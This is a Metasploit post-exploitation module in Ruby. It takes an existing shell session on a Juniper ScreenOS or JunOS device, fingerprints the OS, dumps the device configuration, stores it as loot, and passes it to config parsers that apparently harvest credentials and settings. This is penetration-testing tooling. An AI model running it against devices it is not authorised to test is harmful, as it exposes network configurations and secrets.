bcoles
133 lines
4.6 KiB
Ruby
133 lines
4.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Auxiliary::Juniper
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include Msf::Exploit::Deprecated
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moved_from 'post/juniper/gather/enum_juniper'
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Juniper Gather Device General Information',
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'Description' => %q{
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This module collects a Juniper ScreenOS and JunOS device information and configuration.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'h00die'],
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'Platform' => [ 'juniper'],
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'SessionTypes' => [ 'shell' ],
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => []
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}
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)
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)
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end
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def run
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# Get device prompt
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prompt = session.shell_command('')
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os_type = 'junos'
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command_prefix = ''
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if prompt.end_with?('% ') # we're in an SSH shell
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vprint_status('In an SSH shell')
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command_prefix = 'cli '
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elsif prompt.end_with?('-> ') # hit cli of ScreenOS, change the os_type
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os_type = 'screenos'
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elsif prompt.end_with?('> ') # cli of JunOS
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vprint_status('In a cli shell')
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elsif prompt.end_with?('# ') # we're in a cli>configure
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vprint_status('In a cli>configure shell')
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session.shell_command('quit') # gets us back to the cli non-config
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elsif session.shell_command('?') =~ /\?: No match\./ # confirmed ssh shell
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vprint_status('In an SSH shell')
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command_prefix = 'cli '
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end
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if os_type == 'screenos'
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# Set terminal length to 0 so no paging is required
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session.shell_write("term len 0 \n")
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end
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# Get version info
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print_status('Getting version information')
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get_system_cmd = os_type.eql?('screenos') ? 'get system' : 'show configuration'
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get_system_cmd = command_prefix + get_system_cmd
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system_out = session.shell_command(get_system_cmd)
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# https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_strings.py#L2
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# https://kb.juniper.net/InfoCenter/index?page=content&id=KB6489
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if /^Product Name: (?<ver>SSG|NetScreen)/i =~ system_out
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vprint_status("Original OS Guess #{os_type}, is now ScreenOS #{ver}")
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os_type = 'screenos'
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elsif /^Product Name: (?<ver>.+)/i =~ system_out
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vprint_status("Original OS Guess #{os_type}, is now JunOS #{ver}")
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os_type = 'junos'
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elsif /^version (?<ver>[.\dR]+);/i =~ system_out
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vprint_status("Original OS Guess #{os_type}, is now JunOS #{ver}")
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os_type = 'junos'
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end
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print_status("The device OS is #{os_type}")
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case os_type
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when /screenos/
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ver_loc = store_loot('juniper.screenos.config',
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'text/plain',
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session,
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system_out.strip,
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'config.txt',
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'Juniper ScreenOS Config')
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when /junos/
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ver_loc = store_loot('juniper.junos.config',
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'text/plain',
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session,
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system_out.strip,
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'config.txt',
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'Juniper JunOS Config')
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end
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# Print the version of VERBOSE set to true.
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vprint_good("Config information stored in to loot #{ver_loc}")
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# run additional information gathering
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enum_configs(prompt, os_type, command_prefix)
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end
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# run commands found in exec mode under privilege 1
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def enum_configs(prompt, os_type, command_prefix)
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host = session.session_host
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port = session.session_port
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exec_commands = [
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{
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'cmd' => { 'junos' => 'show configuration', 'screenos' => 'get config' },
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'fn' => 'get_config',
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'desc' => 'Get Device Config on Juniper Device'
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},
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]
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exec_commands.each do |ec|
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command = command_prefix + ec['cmd'][os_type]
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cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')
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next if cmd_out =~ /unknown keyword/ # screenOS
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print_status("Gathering info from #{command}")
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cmd_loc = store_loot("juniper.#{ec['fn']}",
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'text/plain',
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session,
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cmd_out.strip,
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"#{ec['fn']}.txt",
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ec['desc'])
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vprint_good("Saving to #{cmd_loc}")
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if os_type == 'screenos'
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juniper_screenos_config_eater(host, port, cmd_out.strip)
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elsif os_type == 'junos'
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juniper_junos_config_eater(host, port, cmd_out.strip)
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end
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end
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end
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end
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